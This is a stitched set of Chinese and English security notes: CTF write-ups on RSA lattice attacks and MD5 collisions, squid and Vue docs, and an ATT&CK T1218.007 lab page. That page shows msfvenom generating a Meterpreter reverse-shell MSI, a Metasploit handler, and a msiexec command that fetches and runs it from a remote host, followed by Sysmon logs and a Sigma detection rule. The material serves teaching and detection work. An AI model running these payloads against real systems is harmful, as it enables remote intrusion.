elist.append(long(e,16))
clist.append(long(c,16))
for i in range(len(nlist)):
print 'index i'
n = nlist[i]
e = elist[i]
c = clist[i]
d = solve(n,e)
if d==0:
continue
else:
m = power_mod(c, d, n)
hex_string = "%x" % m
import binascii
print "the plaintext:", binascii.unhexlify(hex_string)
return
```
结果如下
```shell
=== solution found ===
private key found: 23974584842546960047080386914966001070087596246662608796022581200084145416583
the plaintext: flag_S0Y0UKN0WW13N3R$4TT4CK!
```
### 2019 Defcon Quals ASRybaB
题目大概意思是，我们接收三对 RSA ，然后需要求出 d，然后对给定的数字 v[i] 加密，发送给服务器，只要时间在一定范围内，940s，即可。那难点自然在 create_key 函数了。
```python
def send_challenges():
code = marshal.loads("63000000000d000000070000004300000073df010000740000721d0064010064020015000000000100640200157d00006e00007401007d01007c0100640300157d02006402007d0300786f007c03006a02008300007c01006b030072a400784c007403007296007404006a05007c02008301007d04007404006a05007c02008301007d05007406007c04007c0500188301006a02008300007c0100640400146b0400724b0050714b00714b00577c04007c0500147d0300713600577c0400640500187c050064050018147d06006406007d07006407007d080078090174030072ce017404006a07007408006403007409007c01007c0700148301008302007408006403007409007c01007c070014830100640500178302008302007d09007871007c09006a02008300007c01007c0800146b0000727b016402007d0a007844007404006a0a007c0a00830100736d017404006a0700740800640300640800830200740800640300640800830200740800640300640900830200178302007d0a00712a01577c09007c0a00397d0900710b01577404006a0b007c09007c06008302006405006b0300729a0171c6006e00007404006a0c007c09007c06008302007d0b007404006a0b007c0b007c06008302006405006b030072ca0171c6006e00005071c60057640a007d0c007c03007c0b0066020053280b0000004e690700000069000000006902000000675839b4c876bedf3f6901000000674e62105839b4d03f678d976e1283c0d23f692d000000690c0000006903000000280d000000740500000046616c736574050000004e53495a45740a0000006269745f6c656e67746874040000005472756574060000006e756d626572740e0000006765745374726f6e675072696d657403000000616273740e00000067657452616e646f6d52616e67657403000000706f777403000000696e74740700000069735072696d6574030000004743447407000000696e7665727365280d00000074010000007874050000004e73697a657406000000707173697a6574010000004e740100000070740100000071740300000070686974060000006c696d69743174060000006c696d697432740100000064740300000070707074010000006574030000007a7a7a2800000000280000000073150000002f6f726967696e616c6368616c6c656e67652e7079740a0000006372656174655f6b657917000000733e000000000106010a010d0206010a010601150109010f010f04200108010e0112020601060109013c0119010601120135020e011801060112011801060105020604".decode("hex"))
create_key = types.FunctionType(code, globals(), "create_key")
ck = create_key
```
我们可以简单看看这个到底是在干啥
```python
>>> import marshal
>>> data="63000000000d000000070000004300000073df010000740000721d0064010064020015000000000100640200157d00006e00007401007d01007c0100640300157d02006402007d0300786f007c03006a02008300007c01006b030072a400784c007403007296007404006a05007c02008301007d04007404006a05007c02008301007d05007406007c04007c0500188301006a02008300007c0100640400146b0400724b0050714b00714b00577c04007c0500147d0300713600577c0400640500187c050064050018147d06006406007d07006407007d080078090174030072ce017404006a07007408006403007409007c01007c0700148301008302007408006403007409007c01007c070014830100640500178302008302007d09007871007c09006a02008300007c01007c0800146b0000727b016402007d0a007844007404006a0a007c0a00830100736d017404006a0700740800640300640800830200740800640300640800830200740800640300640900830200178302007d0a00712a01577c09007c0a00397d0900710b01577404006a0b007c09007c06008302006405006b0300729a0171c6006e00007404006a0c007c09007c06008302007d0b007404006a0b007c0b007c06008302006405006b030072ca0171c6006e00005071c60057640a007d0c007c03007c0b0066020053280b0000004e690700000069000000006902000000675839b4c876bedf3f6901000000674e62105839b4d03f678d976e1283c0d23f692d000000690c0000006903000000280d000000740500000046616c736574050000004e53495a45740a0000006269745f6c656e67746874040000005472756574060000006e756d626572740e0000006765745374726f6e675072696d657403000000616273740e00000067657452616e646f6d52616e67657403000000706f777403000000696e74740700000069735072696d6574030000004743447407000000696e7665727365280d00000074010000007874050000004e73697a657406000000707173697a6574010000004e740100000070740100000071740300000070686974060000006c696d69743174060000006c696d697432740100000064740300000070707074010000006574030000007a7a7a2800000000280000000073150000002f6f726967696e616c6368616c6c656e67652e7079740a0000006372656174655f6b657917000000733e000000000106010a010d0206010a010601150109010f010f04200108010e0112020601060109013c0119010601120135020e011801060112011801060105020604"
>>> code=marshal.loads(data)
>>> code=marshal.loads(data.decode('hex'))
>>> import dis
>>> dis.dis(code)
24 0 LOAD_GLOBAL 0 (False)
3 POP_JUMP_IF_FALSE 29
25 6 LOAD_CONST 1 (7)
9 LOAD_CONST 2 (0)
12 BINARY_DIVIDE
13 STOP_CODE
14 STOP_CODE
15 STOP_CODE
...
56 428 LOAD_GLOBAL 4 (number)
431 LOAD_ATTR 11 (GCD)
434 LOAD_FAST 11 (e)
437 LOAD_FAST 6 (phi)
440 CALL_FUNCTION 2
443 LOAD_CONST 5 (1)
446 COMPARE_OP 3 (!=)
449 POP_JUMP_IF_FALSE 458
...
```
基本可以猜出来这是在生成 n，e，d，其实和我们最初的预期也差不多。我们来直接反编译一下
```python
>>> from uncompyle6 import code_deparse
>>> code_deparse(code)
Instruction context:
25 6 LOAD_CONST 1 7
9 LOAD_CONST 2 0
12 BINARY_DIVIDE
-> 13 STOP_CODE
14 STOP_CODE
15 STOP_CODE
Traceback (most recent call last):
File "<stdin>", line 1, in <module>
File "/usr/local/lib/python2.7/site-packages/uncompyle6/semantics/pysource.py", line 2310, in code_deparse
deparsed.ast = deparsed.build_ast(tokens, customize, isTopLevel=isTopLevel)
File "/usr/local/lib/python2.7/site-packages/uncompyle6/semantics/pysource.py", line 2244, in build_ast
raise ParserError(e, tokens)
uncompyle6.semantics.parser_error.ParserError: --- This code section failed: ---
...
64 469 LOAD_FAST 3 'N'
472 LOAD_FAST 11 'e'
475 BUILD_TUPLE_2 2 None
478 RETURN_VALUE
-1 RETURN_LAST
Parse error at or near `STOP_CODE' instruction at offset 13
```
可以发现 STOP_CODE，有点猫腻，如果仔细看最初的反汇编的话，我们可以发现最前面的那部分代码是在混淆
```python
>>> dis.dis(code)
24 0 LOAD_GLOBAL 0 (False)
3 POP_JUMP_IF_FALSE 29
25 6 LOAD_CONST 1 (7)
9 LOAD_CONST 2 (0)
12 BINARY_DIVIDE
13 STOP_CODE
14 STOP_CODE
15 STOP_CODE
26 16 STOP_CODE
17 POP_TOP
18 STOP_CODE
19 LOAD_CONST 2 (0)
22 BINARY_DIVIDE
23 STORE_FAST 0 (x)
26 JUMP_FORWARD 0 (to 29)
28 >> 29 LOAD_GLOBAL 1 (NSIZE)
32 STORE_FAST 1 (Nsize)
29 35 LOAD_FAST 1 (Nsize)
38 LOAD_CONST 3 (2)
41 BINARY_DIVIDE
42 STORE_FAST 2 (pqsize)
```
一直到
```python
29 35 LOAD_FAST 1 (Nsize)
```
前面的都没有什么作用，感觉是出题者故意修改了代码。仔细分析一下这部分代码，感觉像是两部分
```python
# part 1
25 6 LOAD_CONST 1 (7)
9 LOAD_CONST 2 (0)
12 BINARY_DIVIDE
13 STOP_CODE
14 STOP_CODE
15 STOP_CODE
# part 2
26 16 STOP_CODE
17 POP_TOP
18 STOP_CODE
19 LOAD_CONST 2 (0)
22 BINARY_DIVIDE
23 STORE_FAST 0 (x)
26 JUMP_FORWARD 0 (to 29)
```
正好是第 25 行和第 26 行，大概猜一猜，感觉两个都是 x=7/0，所以就想办法把这部分的代码修复一下，接下来就是定位这部分代码了。根据手册可以知道 STOP_CODE 是 0，从而我们可以定位第 25 行语句到 26 行语句为 t[6:26]，他们分别都是 10 字节(6-15,16-25)。
```python
>>> t=code.co_code
>>> t
't\x00\x00r\x1d\x00d\x01\x00d\x02\x00\x15\x00\x00\x00\x00\x01\x00d\x02\x00\x15}\x00\x00n\x00\x00t\x01\x00}\x01\x00|\x01\x00d\x03\x00\x15}\x02\x00d\x02\x00}\x03\x00xo\x00|\x03\x00j\x02\x00\x83\x00\x00|\x01\x00k\x03\x00r\xa4\x00xL\x00t\x03\x00r\x96\x00t\x04\x00j\x05\x00|\x02\x00\x83\x01\x00}\x04\x00t\x04\x00j\x05\x00|\x02\x00\x83\x01\x00}\x05\x00t\x06\x00|\x04\x00|\x05\x00\x18\x83\x01\x00j\x02\x00\x83\x00\x00|\x01\x00d\x04\x00\x14k\x04\x00rK\x00PqK\x00qK\x00W|\x04\x00|\x05\x00\x14}\x03\x00q6\x00W|\x04\x00d\x05\x00\x18|\x05\x00d\x05\x00\x18\x14}\x06\x00d\x06\x00}\x07\x00d\x07\x00}\x08\x00x\t\x01t\x03\x00r\xce\x01t\x04\x00j\x07\x00t\x08\x00d\x03\x00t\t\x00|\x01\x00|\x07\x00\x14\x83\x01\x00\x83\x02\x00t\x08\x00d\x03\x00t\t\x00|\x01\x00|\x07\x00\x14\x83\x01\x00d\x05\x00\x17\x83\x02\x00\x83\x02\x00}\t\x00xq\x00|\t\x00j\x02\x00\x83\x00\x00|\x01\x00|\x08\x00\x14k\x00\x00r{\x01d\x02\x00}\n\x00xD\x00t\x04\x00j\n\x00|\n\x00\x83\x01\x00sm\x01t\x04\x00j\x07\x00t\x08\x00d\x03\x00d\x08\x00\x83\x02\x00t\x08\x00d\x03\x00d\x08\x00\x83\x02\x00t\x08\x00d\x03\x00d\t\x00\x83\x02\x00\x17\x83\x02\x00}\n\x00q*\x01W|\t\x00|\n\x009}\t\x00q\x0b\x01Wt\x04\x00j\x0b\x00|\t\x00|\x06\x00\x83\x02\x00d\x05\x00k\x03\x00r\x9a\x01q\xc6\x00n\x00\x00t\x04\x00j\x0c\x00|\t\x00|\x06\x00\x83\x02\x00}\x0b\x00t\x04\x00j\x0b\x00|\x0b\x00|\x06\x00\x83\x02\x00d\x05\x00k\x03\x00r\xca\x01q\xc6\x00n\x00\x00Pq\xc6\x00Wd\n\x00}\x0c\x00|\x03\x00|\x0b\x00f\x02\x00S'
>>> t[6:26]
'd\x01\x00d\x02\x00\x15\x00\x00\x00\x00\x01\x00d\x02\x00\x15}\x00\x00'
>>> t[-3:]
'\x02\x00S'
>>> t='d\x01\x00d\x02\x00\x15\x00\x00\x00\x00\x01\x00d\x02\x00\x15}\x00\x00'
>>> t[-3:]
'}\x00\x00'
>>> t[:7]+t[-3:]
'd\x01\x00d\x02\x00\x15}\x00\x00'
>>> _.encode('hex')
'640100640200157d0000'
```
从而我们可以修复原 code
```python
>>> data.find('640100')
56
>>> data1=data[:56]+'640100640200157d0000640100640200157d0000'+data[56+40:]
>>> code1=marshal.loads(data1.decode('hex'))
>>> code_deparse(code1)
if False:
x = 7 / 0
x = 7 / 0
Nsize = NSIZE
pqsize = Nsize / 2
N = 0
while N.bit_length() != Nsize:
while True:
p = number.getStrongPrime(pqsize)
q = number.getStrongPrime(pqsize)
if abs(p - q).bit_length() > Nsize * 0.496:
break
N = p * q
phi = (p - 1) * (q - 1)
limit1 = 0.261
limit2 = 0.293
while True:
d = number.getRandomRange(pow(2, int(Nsize * limit1)), pow(2, int(Nsize * limit1) + 1))
while d.bit_length() < Nsize * limit2:
ppp = 0
while not number.isPrime(ppp):
ppp = number.getRandomRange(pow(2, 45), pow(2, 45) + pow(2, 12))
d *= ppp
if number.GCD(d, phi) != 1:
continue
e = number.inverse(d, phi)
if number.GCD(e, phi) != 1:
continue
break
zzz = 3
return (
N, e)<uncompyle6.semantics.pysource.SourceWalker object at 0x10a0ea110>
```
可以看到生成的 d 是故意超了 0.292 的，不过我们可以发现 ppp 范围很小，实际上我们可以测试得到这个范围的素数为 125 个。并且
```python
1280*0.261+45=379.08000000000004>375.03999999999996=1280*0.293
```
所以其实这里就乘了一个数，那么我们其实就可以枚举一下乘了什么，并修改 e1=e*ppp，其实就回归到标准的 Boneh and Durfee attack。
但是，如果我们直接使用 https://github.com/mimoo/RSA-and-LLL-attacks 的脚本也不行，必须得提高 m，基本得提到 8，这样仍然不是很稳定。
如果仔细尝试尝试的话，就会发现 e1>N，这看起来问题不大，但是原脚本里假设的数值是 e<N 的，所以我们需要进行适当的修改预估的上下界
```python
X = 2*floor(N^delta) # this _might_ be too much
Y = floor(N^(1/2)) # correct if p, q are ~ same size
```
根据上述推导，上下界应该为
$|k|<\frac{2ed}{\varphi(N)}<\frac{3ed}{N}=3*\frac{e}{N}*d<3*\frac{e}{N}*N^{delta}$
$|y|<2*N^{0.5}$
最后主要修改了 m 和 X 的上界
```python
delta = .262 # this means that d < N^delta
#
# Lattice (tweak those values)
#
# you should tweak this (after a first run), (e.g. increment it until a solution is found)
m = 8 # size of the lattice (bigger the better/slower)
# you need to be a lattice master to tweak these
t = int((1-2*delta) * m) # optimization from Herrmann and May
X = floor(3*e/N*N^delta) #4*floor(N^delta) # this _might_ be too much
Y = floor(2*N^(1/2)) # correct if p, q are ~ same size
```
最后可以得到结果
```shell
[DEBUG] Received 0x1f bytes:
'Succcess!\n'
'OOO{Br3akingL!mits?}\n'
OOO{Br3akingL!mits?}
```
不得不说这个题目，真的是需要**多**核服务器。。
## 参考资料
- Survey: Lattice Reduction Attacks on RSA
- An Introduction to Coppersmith’s method and Applications in Cryptology
|
sec-knowleage
|
squid
===
squid服务器守护进程
## 补充说明
**squid命令** 高性能的Web客户端代理缓存服务器套件“squid”的服务器守护进程。
### 语法
```shell
squid(选项)
```
### 选项
```shell
-d：将指定调试等级的信息发送到标准错误设备；
-f：使用指定的配置文件。而不使用默认配置文件；
-k：向squid服务器发送指令；
-s：启用syslog日志；
-z：创建缓存目录；
-C：不捕获致命信号；
-D：不进行DNS参数测试；
-N：以非守护进程模式运行；
-X：强制进入完全调试模式。
```
|
sec-knowleage
|
# VUE 安装
### 直接 `<script>` 引入
直接下载并用 `<script>` 标签引入，Vue 会被注册为一个全局变量。
**官网提示**：在开发时请用开发版本，遇到常见错误它会给出友好的警告。
#### 下载
使用独立版本安装
- 开发版本：[点击下载](https://vuejs.org/js/vue.js)
- 生产版本：[点击下载](https://vuejs.org/js/vue.min.js)
#### 引入
将下载的 vue 项目，下载放入项目内，在页面中用`<script>`标签引入
```
<script src="./vue.js"></script>
```
### CDN
推荐：https://unpkg.com/vue, 会保持和 npm 发布的最新的版本一致。
可以在 https://unpkg.com/vue/ 浏览 npm 包资源。
也可以从 jsDelivr，BootCDN 或 cdnjs 获取，不过这两个服务版本更新可能略滞后。
#### 使用
使用时直接引用网上的 CDN 资源
```
<script src="https://cdn.bootcss.com/vue/2.4.2/vue.js"></script>
```
### NPM
在用 Vue.js 构建大型应用时推荐使用 NPM 安装， NPM 能很好地和诸如 Webpack 或 Browserify 模块打包器配合使用。
Vue.js 也提供配套工具来开发单文件组件。
#### 装包
安装最新稳定版的 vue
```
npm install vue
```
### 使用 vue-cli
vue-cli 其中 cli ，cli 的意思是命令行。vue-cli 的作用就是搭建开发基础环境的。相当于 react 的，create-react-app 。
参考： https://github.com/vuejs/vue-cli
> Simple CLI for scaffolding Vue.js projects
简单的命令行，用来生成 Vuejs 项目脚手架
#### 装包
全局安装 vue-cli
```
npm install --global vue-cli
```
##### 创建一个基于 webpack 模板的新项目
Vue-cli 对比于 create-react-app ，有一个优势，就是可以生成多种脚手架（通过替换模板 template 来实现）
```
vue init <template-name> <project-name>
```
我们选择最专业的模板，也就是 webpack 模板
```
vue init webpack vuex-demo
```
创建项目时会出现一些配置选项，下面是一些配置说明
```
liuenqing@liuenqing-PC:~/Documents$ vue init webpack vuex-demo
? Project name vuex-demo //项目名默认就是x-caht
? Project description A Vue.js project // 文档描述
? Author l552177239 <552177239@qq.com> // 作者，如果有git，就是读取git的User信息
? Vue build standalone // 有两个选项，选第一个 recommended for most users
? Use ESLint to lint your code? Yes// 是否使用ESlint 默认是
? Pick an ESLint preset Standard // 选这个一个ESlint类型
? Setup unit tests with Karma + Mocha? No //使用单元测试工具karma和mocha 默认是
? Setup e2e tests with Nightwatch? No // 使用e2e测试框架 NightWatch 默认是
```
**小贴士**：选项中，比较重要的就是选择使用 ESlint
1. Standard ： JS ”标准“ 代码风格：[点击查看](https://standardjs.com/)
2. Airbnb : Airbnb 公司的代码风格：[点击查看](https://github.com/airbnb/javascript)
两种标准的风格很多地方都不同，比如写不写分号，选择 Standard 不用写分号
##### 安装依赖
进入项目文件夹下，安装依赖包
```
cd my-project && npm install
```
##### 打开项目
```
npm run dev
```
### 参考
- BootCDN的VUE：[点击进入](http://www.bootcdn.cn/vue/)
- VUE项目排行：[点击进入](https://github.com/vuejs)
- vue-cli 的 Github：[点击进入](https://github.com/vuejs/vue-cli)
|
sec-knowleage
|
# Unknown - Prison Cell 2
Category: Misc.
## Description
> Well, okay, you’re back in the cell again, and they changed the lock to something quite heavier. This one cannot be picked with a paperclip… So, is this where the mission ends? PLING, another message from the boss. Another GIF… No wait, not only a GIF, also text: "Hi AGENT, I was just contacting you to say that we’re running out of time, if you fail to reach the office and pull the self destruction lever in under 30 minutes, they will already have executed their evil plan. I’m counting on you!." Well, that wasn’t too helpful... What to do, what to do?
>
> Challenge: Hash-meee (misc)
>
> I heard BotBot, the resident Discord bot, is experimenting with hashing. He specifically wants to see 2 different strings, both starting with `gctf`, that have the same md5 hash. He will reward this with a flag. You can access our Discord with the following invite link: https://discord.gg/FbrXTjvv To solve this challenge DM BotBot on discord using the command `!hashme` followed by the two strings, encoded in hex. E.g. if your strings are "gctfhello" and "gctfhola" you would send `!hashme 6763746668656c6c6f 67637466686f6c61`
## Solution
We need to find an MD5 hash collision, and [this repo](https://github.com/corkami/collisions) contains everything you need to know about hash collisions. It recommends a tool called `fastcoll` for a fast identical prefix with almost no constraints. Here's how to build it these days:
```console
┌──(user@kali)-[~/utils/crypto/fastcoll]
└─$ wget https://downloads.sourceforge.net/project/boost/boost/1.54.0/boost_1_54_0.tar.gz
┌──(user@kali)-[~/utils/crypto/fastcoll]
└─$ tar -xvf boost_1_54_0.tar.gz
┌──(user@kali)-[~/utils/crypto/fastcoll]
└─$ cd boost_1_54_0
┌──(user@kali)-[~/utils/crypto/fastcoll/boost_1_54_0]
└─$ ./bootstrap.sh --with-libraries=filesystem,program_options,system
Building Boost.Build engine with toolset gcc... tools/build/v2/engine/bin.linuxx86_64/b2
Unicode/ICU support for Boost.Regex?... /usr
Generating Boost.Build configuration in project-config.jam...
Bootstrapping is done. To build, run:
./b2
To adjust configuration, edit 'project-config.jam'.
Further information:
- Command line help:
./b2 --help
- Getting started guide:
http://www.boost.org/more/getting_started/unix-variants.html
- Boost.Build documentation:
http://www.boost.org/boost-build2/doc/html/index.html
┌──(user@kali)-[~/utils/crypto/fastcoll/boost_1_54_0]
└─$ ./b2 --with-filesystem --with-program_options --with-system
# ...
The Boost C++ Libraries were successfully built!
The following directory should be added to compiler include paths:
/home/user/utils/crypto/fastcoll/boost_1_54_0
The following directory should be added to linker library paths:
/home/user/utils/crypto/fastcoll/boost_1_54_0/stage/lib
┌──(user@kali)-[~/utils/crypto/fastcoll/boost_1_54_0]
└─$ cd ..
┌──(user@kali)-[~/utils/crypto/fastcoll]
└─$ wget https://www.win.tue.nl/hashclash/fastcoll_v1.0.0.5-1_source.zip
┌──(user@kali)-[~/utils/crypto/fastcoll]
└─$ unzip fastcoll_v1.0.0.5-1_source.zip
Archive: fastcoll_v1.0.0.5-1_source.zip
inflating: block0.cpp
inflating: block1.cpp
inflating: block1stevens00.cpp
inflating: block1stevens01.cpp
inflating: block1stevens10.cpp
inflating: block1stevens11.cpp
inflating: block1wang.cpp
inflating: main.cpp
inflating: main.hpp
inflating: md5.cpp
┌──(user@kali)-[~/utils/crypto/fastcoll]
└─$ g++ -O3 *.cpp -lboost_filesystem -lboost_program_options -lboost_system -o fastcoll -static -I/home/user/utils/crypto/fastcoll/boost_1_54_0 -L/home/user/utils/crypto/fastcoll/boost_1_54_0/stage/lib
┌──(user@kali)-[~/utils/crypto/fastcoll]
└─$ ./fastcoll
MD5 collision generator v1.5
by Marc Stevens (http://www.win.tue.nl/hashclash/)
Allowed options:
-h [ --help ] Show options.
-q [ --quiet ] Be less verbose.
-i [ --ihv ] arg Use specified initial value. Default is MD5 initial
value.
-p [ --prefixfile ] arg Calculate initial value using given prefixfile. Also
copies data to output files.
-o [ --out ] arg Set output filenames. This must be the last option
and exactly 2 filenames must be specified.
Default: -o msg1.bin msg2.bin
```
We feed it the common prefix we want, and it generates a collision almost immediately:
```console
┌──(user@kali)-[/media/sf_CTFs/google/16_Unknown_-_Prison_Cell_2]
└─$ echo -n "gctf" > prefix
┌──(user@kali)-[/media/sf_CTFs/google/16_Unknown_-_Prison_Cell_2]
└─$ ~/utils/crypto/fastcoll/fastcoll -p prefix
MD5 collision generator v1.5
by Marc Stevens (http://www.win.tue.nl/hashclash/)
Using output filenames: 'msg1.bin' and 'msg2.bin'
Using prefixfile: 'prefix'
Using initial value: 0b32d30483f183101ccaf35ac1595746
Generating first block: .....
Generating second block: S10...........................................................
Running time: 1.21746 s
┌──(user@kali)-[/media/sf_CTFs/google/16_Unknown_-_Prison_Cell_2]
└─$ md5sum msg1.bin
9a1db794ee600dc52ea6cde799151b33 msg1.bin
┌──(user@kali)-[/media/sf_CTFs/google/16_Unknown_-_Prison_Cell_2]
└─$ md5sum msg2.bin
9a1db794ee600dc52ea6cde799151b33 msg2.bin
┌──(user@kali)-[/media/sf_CTFs/google/16_Unknown_-_Prison_Cell_2]
└─$ xxd -g 1 msg1.bin
00000000: 67 63 74 66 00 00 00 00 00 00 00 00 00 00 00 00 gctf............
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: bb 67 31 a0 a4 4e 3a ff b0 a3 1f f9 89 9f 15 bb .g1..N:.........
00000050: 2f b6 4b d7 28 ba 2b b9 39 ba 76 f5 f9 19 8e ed /.K.(.+.9.v.....
00000060: 3a b3 0a ba 6e 4e 48 ae eb ed e5 41 e3 d3 ba 82 :...nNH....A....
00000070: a8 49 c3 06 23 15 55 03 1d 27 57 6f 49 b4 d5 2f .I..#.U..'WoI../
00000080: cd 1b 6f 11 99 ec b5 93 b1 e3 98 2b a8 bc 9d d3 ..o........+....
00000090: 97 b5 7a 47 70 db 02 29 2b b3 10 60 06 60 68 b8 ..zGp..)+..`.`h.
000000a0: d3 3b f2 53 af 48 92 34 b5 46 82 9b b3 a3 1b 14 .;.S.H.4.F......
000000b0: 00 db f4 44 28 74 b6 1a 15 33 d7 e4 ab 05 88 7c ...D(t...3.....|
┌──(user@kali)-[/media/sf_CTFs/google/16_Unknown_-_Prison_Cell_2]
└─$ xxd -g 2 msg1.bin
00000000: 6763 7466 0000 0000 0000 0000 0000 0000 gctf............
00000010: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000030: 0000 0000 0000 0000 0000 0000 0000 0000 ................
00000040: bb67 31a0 a44e 3aff b0a3 1ff9 899f 15bb .g1..N:.........
00000050: 2fb6 4bd7 28ba 2bb9 39ba 76f5 f919 8eed /.K.(.+.9.v.....
00000060: 3ab3 0aba 6e4e 48ae ebed e541 e3d3 ba82 :...nNH....A....
00000070: a849 c306 2315 5503 1d27 576f 49b4 d52f .I..#.U..'WoI../
00000080: cd1b 6f11 99ec b593 b1e3 982b a8bc 9dd3 ..o........+....
00000090: 97b5 7a47 70db 0229 2bb3 1060 0660 68b8 ..zGp..)+..`.`h.
000000a0: d33b f253 af48 9234 b546 829b b3a3 1b14 .;.S.H.4.F......
000000b0: 00db f444 2874 b61a 1533 d7e4 ab05 887c ...D(t...3.....|
```
All that's left is to format the output and send it to the bot:
```console
┌──(user@kali)-[/media/sf_CTFs/google/16_Unknown_-_Prison_Cell_2]
└─$ xxd -p msg1.bin | tr -d '\n'
67637466000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bb6731a0a44e3affb0a31ff9899f15bb2fb64bd728ba2bb939ba76f5f9198eed3ab30aba6e4e48aeebede541e3d3ba82a849c306231555031d27576f49b4d52fcd1b6f1199ecb593b1e3982ba8bc9dd397b57a4770db02292bb31060066068b8d33bf253af489234b546829bb3a31b1400dbf4442874b61a1533d7e4ab05887c
┌──(user@kali)-[/media/sf_CTFs/google/16_Unknown_-_Prison_Cell_2]
└─$ xxd -p msg2.bin | tr -d '\n'
67637466000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000bb6731a0a44e3affb0a31ff9899f15bb2fb64b5728ba2bb939ba76f5f9198eed3ab30aba6e4e48aeebede541e353bb82a849c306231555031d2757ef49b4d52fcd1b6f1199ecb593b1e3982ba8bc9dd397b57ac770db02292bb31060066068b8d33bf253af489234b546829bb3231b1400dbf4442874b61a1533d764ab05887c
```
And we get the flag:
```
BotBot
—
Today at 10:04 PM
Good job! Here is a flag for you! CTF{h4sh_m3_tw1c3_1245fd3}
```
|
sec-knowleage
|
import sys
import ast
nums = {}
try:
for f in sys.argv[1:]:
for i, line in enumerate(open(f).readlines()):
no = int(line.split()[0])
data = ast.literal_eval("[" + line.split("[")[1])
nums[no] = data
except Exception as e:
print f, i, repr(line), e
start = min(nums)
end = max(nums)
prev = start
prevdata = [0] * 16
alldata = []
for i in range(start, end):
if i in nums:
prev = i
data = nums[i]
same = True
for a, b in zip(data, prevdata):
if a != b: same = False
if not same:
alldata += data
prevdata = data
else:
if i >= prev + 3:
print i, "missing..."
prev = i
alldata = "".join(chr(c) for c in alldata)
alldata = alldata[32:]
alldata = "d091577d5889e64724e3a93bc1f8112f".decode("hex") + alldata
alldata = alldata[:-10]
print hex(len(alldata))
open("final", "wb").write(alldata)
from hashlib import md5
print 'TWCTF{{{}}}'.format(md5(open('final', 'rb').read()).hexdigest())
|
sec-knowleage
|
# T1218-007-win-基于白名单Msiexec执行Payload
## 来自ATT&CK的描述
可信数字证书签署的二进制文件在Windows操作系统执行时，可通过数字签名验证保护。Windows安装过程中默认安装的一些微软签名的二进制文件可用来代理执行其它文件。攻击者可能会滥用此技术来执行可能绕过应用白名单机制和系统签名验证的恶意文件。该技术考虑了现有技术中尚未考虑的代理执行方法。
## 测试案例
Msiexec是Windows Installer的一部分。用于安装Windows Installer安装包（MSI）,一般在运行Microsoft Update安装更新或安装部分软件的时候出现，占用内存比较大。并且集成于Windows 2003，Windows 7等。
说明：Msiexec.exe所在路径已被系统添加PATH环境变量中，因此，Msiexec命令可识别。Ftp.exe是Windows本身自带的一个程序，属于微软FTP工具，提供基本的FTP访问。
说明：Ftp.exe所在路径已被系统添加PATH环境变量中，因此，Ftp.exe命令可识别。
· msiexec.exe /q /i"C:\path\to\file.msi"
· msiexec.exe /q /i http[:]//site[.]com/file.msi
· msiexec.exe /y "C:\path\to\file.dll"
补充说明：在高版本操作系统中，可以通过配置策略，对进程命令行参数进行记录。日志策略开启方法：`本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用`，同样也可以在不同版本操作系统中部署sysmon，通过sysmon日志进行监控。
## 检测日志
windows 安全日志（需要自行配置）
## 测试复现
### 环境准备
攻击机：Kali2019
靶机：windows 7
### 攻击分析
#### 生成payload.dll
```bash
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.146 lport=1234 -f msi > 1.msi
```
#### 执行监听
```bash
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.126.146
lhost => 192.168.126.146
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) >expliot
```
#### 靶机执行payload
```cmd
msiexec /q /i http://192.168.126.146/1.msi
```
#### 反弹shell
```bash
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.126.146:1234
[*] Sending stage (180291 bytes) to 192.168.126.149
[*] Meterpreter session 1 opened (192.168.126.146:1234 -> 192.168.126.149:49323) at 2020-04-18 22:04:26 +0800
meterpreter > getuid
Server username: 12306Br0-PC\12306Br0
```
## 测试留痕
```log
# windows安全日志
事件ID： 4688
进程信息:
新进程 ID: 0xe78
新进程名: C:\Windows\System32\msiexec.exe
# sysmon日志
事件ID：1
UtcTime: 2020-04-18 14:04:16.596
ProcessGuid: {bb1f7c32-08e0-5e9b-0000-0010b8ff3f01}
ProcessId: 3704
Image: C:\Windows\System32\msiexec.exe
FileVersion: 5.0.7601.17514 (win7sp1_rtm.101119-1850)
Description: Windows® installer
Product: Windows Installer - Unicode
Company: Microsoft Corporation
OriginalFileName: msiexec.exe
CommandLine: msiexec /q /i http://192.168.126.146/1.msi
CurrentDirectory: C:\Users\12306Br0\
User: 12306Br0-PC\12306Br0
LogonGuid: {bb1f7c32-5fc3-5e99-0000-00201ae20600}
LogonId: 0x6e21a
TerminalSessionId: 1
IntegrityLevel: Medium
Hashes: SHA1=443AAC22D57EDD4EF893E2A245B356CBA5B2C2DD
ParentProcessGuid: {bb1f7c32-08db-5e9b-0000-001049f63d01}
ParentProcessId: 1900
ParentImage: C:\Windows\System32\cmd.exe
ParentCommandLine: "C:\Windows\system32\cmd.exe"
```
## 检测规则/思路
### sigma规则
```yml
title: MsiExec Web Install
status: experimental
description: Detects suspicious msiexec process starts with web addreses as parameter
references:
- https://blog.trendmicro.com/trendlabs-security-intelligence/attack-using-windows-installer-msiexec-exe-leads-lokibot/
tags:
- attack.defense_evasion
author: Florian Roth
date: 2018/02/09
modified: 2012/12/11
logsource:
category: process_creation
product: windows
detection:
selection:
CommandLine:
- '* msiexec*://*'
condition: selection
falsepositives:
- False positives depend on scripts and administrative tools used in the monitored environment
level: medium
```
### 建议
可根据进程创建事件4688/1（进程名称、命令行）进行监控。本监控方法需要自行安装配置审核策略Sysmon。
## 参考推荐
MITRE-ATT&CK-T1218-007
<https://attack.mitre.org/techniques/T1218/007/>
基于白名单的Payload
<https://blog.csdn.net/weixin_30790841/article/details/101848854>
|
sec-knowleage
|
## 信息收集测试
